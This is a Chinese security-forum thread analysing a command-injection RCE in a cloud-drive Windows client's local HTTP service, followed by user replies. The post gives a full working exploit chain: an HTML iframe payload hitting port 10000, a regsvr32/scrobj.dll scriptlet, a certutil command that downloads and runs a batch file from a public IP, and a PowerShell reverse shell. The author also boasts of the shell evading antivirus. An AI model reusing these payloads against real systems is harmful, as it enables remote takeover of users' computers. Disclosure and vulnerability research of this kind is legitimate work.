吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 6673|回复: 55
收起左侧

[漏洞分析] 某度网盘存在rce详解及利用过程

  [复制链接]
taoyangui 发表于 2025-9-6 20:00

前言

某网盘Windows客户端安装后,后台程序将监听本地10000端口,处理HTTP\HTTPS请求。其中的HTTP请求OpenSafeBox存在命令注⼊漏洞,攻击者可以控制该请求的URL参数,注⼊指定命令,可实现远程命令执行。版本小于等于7.59.5.104(最新版,截⽌时间2025/09/3)均存在该漏洞。  

1.png

漏洞分析

某网盘客户端安装后,后台程序YunDetectService.exe将监听本地10000端口。该后台程序为开机自启动。

2.png
3.png

4.png

10000端⼝处理HTTP或者HTTPS请求(版本7.50.0.130之前处理HTTP,往后版本则是HTTPS),以method = xxxx的形式传递参数,实现不同的功能。其中的method 主要包括:GetVersion,GetPcCode,DownloadShareItems,DownloadSelfOwnItems,OpenSafeBox等。  

OpenSafeBox⽅法的参数uk字段的值作为Netdisk.exe的命令行参数userkey的值,以字符串拼接的方式传递到该程序中,后续将创建该程序运行。URL参数传递形式为method=OpenSafeBox&uk=xxxx,传递到程序中的形式为-opensafebox -userkey 【具体userkey值】,代码中没有对该参数进⾏安全检测和过滤,因此此处存在命令行参数注入。
5.png
Netdisk.exe程序支持opensafebox,install,userkey,createshortcut等命令行参数。其中参数install regdll实现的功能中,将创建系统程序regsvr32.exe注册YunShellExt.dll⽂件,其文件目录通过命令⾏参数进⾏拼接组合,此⽬录参数可控。后续还将检查拼接后的YunShellExt.dll或者YunShellExt64.dll⽂件是否存在,如果存在才会执⾏后续的注册功能。这⾥可以使⽤路径穿越字符串“\..\”构造YunShellExt.dll的真实路径,比如:

..\\..\\..\\..\\..\\..\\..\\..\\Users\\xxx\\AppData\\Roaming\\baidu\\BaiduNetdisk

6.png
注册时,调⽤系统regsvr32.exe程序实现。其中regsvr32.exe的参数同样采⽤字符串拼接的方式进行组合,没有对其进行安全检测和过滤,文件路径可控,可进行命令行参数注入。正常情况下,此时regsvr32.exe对应的文件路径是YunShellExt.dll或者YunShellExt64.dll文⽂件路径。漏洞利用时,可以将该DLL路径劫持为系统⾃带的scrobj.dll路径,同时使用双引号截断命令,对regsvr32.exe进⾏命令行参数注入,以便引入/i和/u参数,再传递远程xml文件地址。此时将下载远程xml文件,并执行其中的命令,实现远程执行命令的目的。

漏洞复现

可以在本地启动也可以在服务区上使用python3搭建http web服务。修改poc.html中的攻击者服务器地址和⽤户名,用户名是安装某网盘客户端机器上的用户名,然后将poc.xml和poc.html放⼊web目录,使之能远程访问来触发漏洞即可。
这里我们选择在本地开启http服务
7.png
创建poc.xml

<?xml version="1.0"?>
<scriptlet>
  <registration 
    progid="poc" 
    classid="{10001111-0000-0000-0000-0000FEEDACDC}">
    <script language="JScript">
      <![CDATA[
        var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c calc.exe");
      ]]>
    </script>
  </registration>
</scriptlet>

先用调取计算器来测试
创建poc.html

<html> <iframewidth="1px"height="1px"referrerpolicy="no-referrer"src='https://localhost:10000/?method=OpenSafeBox&uk=a -install regdll "C:\\\Windows\\System32\\scrobj.dll\" /u /i:http://127.0.0.1:8000/poc.xml \"\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\Users\Test\AppData\Roaming\baidu\BaiduNetdisk'></iframe></html>

确保某⽹盘客户端Netdisk.exe进程已退出(默认情况下,某⽹盘客户端安装后,重启电脑后只有后台程序YunDetectService.exe运⾏)。使⽤浏览器访问远程poc.html,触发漏洞,将运行Netdisk.exe程序。最终执行regsvr32.exe程序,下载并执行远程poc.xml中的命令,运行计算器程序。

https://localhost:10000/?method=OpenSafeBox&uk=a%20-install%20regdll%20%22C:\\\Windows\\System32\\scrobj.dll\%22%20/u%20/i:http://127.0.0.1:8000/poc.xml%20\%22\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\Users\32139\AppData\Roaming\baidu\BaiduNetdisk

8.png
这里的32139和IP端口根据自己设置的进行调整。
弹计算机可以的话,那么我们直接反弹shell也是可行的,Windows反弹shell的话直接弹也可以,使用nc的话也可以,不过nc的话不能保证每台电脑都有,并且路径的话不好确定,这里我们采用远程下载bat的方法来进行,至于为什么用bat脚本——看结尾。
先看bat脚本吧

@echo off

powershell -ep bypass -c "$c=New-Object Net.Sockets.TCPClient('IP',port);$s=$c.GetStream();[byte[]]$b=0..65535|%%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$o=(iex $d 2>&1 | Out-String);$o2=$o+'PS '+(pwd).Path+'> ';$b2=([text.encoding]::ASCII).GetBytes($o2);$s.Write($b2,0,$b2.Length);$s.Flush()};$c.Close()"

将上述内容保存为1.bat,存放在我们的服务器上,更换poc.xml中的内容

<?xml version="1.0"?>
<scriptlet>
  <registration 
    progid="poc" 
    classid="{10001111-0000-0000-0000-0000FEEDACDC}">
    <script language="JScript">
      <![CDATA[
        var shell = new ActiveXObject("WScript.Shell");
        shell.Run('cmd.exe /c certutil -urlcache -split -f "http://82.157.234.37:8000/1.bat" "C:\\Users\\32139\\Desktop\\poc\\baidurce\\1.bat" && "C:\\Users\\32139\\Desktop\\poc\\baidurce\\1.bat"', 0, true);
      ]]>
    </script>
  </registration>
</scriptlet>

创建好我们的bat之后在启一个终端用来监听我们的shell
9.png
这里为了方便poc.xml仍然在本地存放,直接改动后刷新一下就可以了
10.png
成功弹回shell!!!

结尾

到这里就结束了吗?不不不,既然Windows可以,那么mac呢?是否也存在类似的漏洞,欢迎各位大佬讨论。
11.png
为什么喜欢用bat反弹shell,去年学习白加黑dll劫持的时候意外研究出来的一个bat脚本,当时能够成功反弹shell,并且“吊打各大安全厂商”,所有的安全厂商(包括某60,某绒,defender等)均不报毒并且能够正常执行,由于当时对于免杀研究不深入,直接将脚本上传到各大云沙箱进行测试,遂被各大厂商标记,有效期仅维持了两个小时,不过中法规有点纪念意义和收获在,所以有时候会偏向于使用这个来进行反弹shell

免费评分

参与人数 17威望 +1 吾爱币 +42 热心值 +16 收起 理由
KYO_2代 + 1 + 1 我很赞同!
拒绝伸手 + 1 + 1 谢谢@Thanks!
scz + 1 + 1 谢谢分享
willJ + 7 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
lichwil57120 + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
pedoc + 1 + 1 谢谢@Thanks!
allspark + 1 + 1 用心讨论,共获提升!
chshxp + 1 + 1 我很赞同!
tme2252 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
wzvideni + 1 + 1 我很赞同!
TANGNI + 1 + 1 我很赞同!
T4DNA + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
daoye9988 + 1 + 1 热心回复!
hrh123 + 1 + 20 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
ChiZhu + 1 + 1 热心回复!
BrutusScipio + 1 + 1 用心讨论,共获提升!
EvalShell857 + 1 + 1 图片没有加载

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

xgdmn 发表于 2025-9-9 09:09
好文!但是建议兄弟把自己vps的公网ip打个码

免费评分

参与人数 1吾爱币 +2 热心值 +1 收起 理由
taoyangui + 2 + 1 谢谢提醒啊哥

查看全部评分

 楼主| taoyangui 发表于 2025-9-7 10:39
QR2015 发表于 2025-9-7 09:25
赶紧卸掉了某度。

更新下就好啦,更新到最新版本,最新版本目前没有爆出漏洞,而且这个漏洞利用的话有一个最大的前提条件需要知道你的电脑用户名
 楼主| taoyangui 发表于 2025-9-6 20:01
欢迎各位大佬讨论Mac下该漏洞是否存在即利用方法
BrutusScipio 发表于 2025-9-6 20:52
问下 其他网盘有监听请求的设置吗
 楼主| taoyangui 发表于 2025-9-6 21:00
BrutusScipio 发表于 2025-9-6 20:52
问下 其他网盘有监听请求的设置吗

目前还没研究过,你哪里能显示出来文章中的图片吗?
qzquzhou 发表于 2025-9-6 22:03
最新的漏洞啊,学习了。
ltgb 发表于 2025-9-7 06:29
taoyangui 发表于 2025-9-6 21:00
目前还没研究过,你哪里能显示出来文章中的图片吗?

可以显示图片

免费评分

参与人数 1吾爱币 +1 热心值 +1 收起 理由
taoyangui + 1 + 1 谢谢@Thanks!

查看全部评分

 楼主| taoyangui 发表于 2025-9-7 08:17

嗯嗯好的
 楼主| taoyangui 发表于 2025-9-7 08:18
qzquzhou 发表于 2025-9-6 22:03
最新的漏洞啊,学习了。

目前百度已经更新啦版本,最新的版本原poc已经修复
QR2015 发表于 2025-9-7 09:25
赶紧卸掉了某度。
daoye9988 发表于 2025-9-7 09:44
很少更新这款软件了
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - 52pojie.cn ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2026-9-19 07:53

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表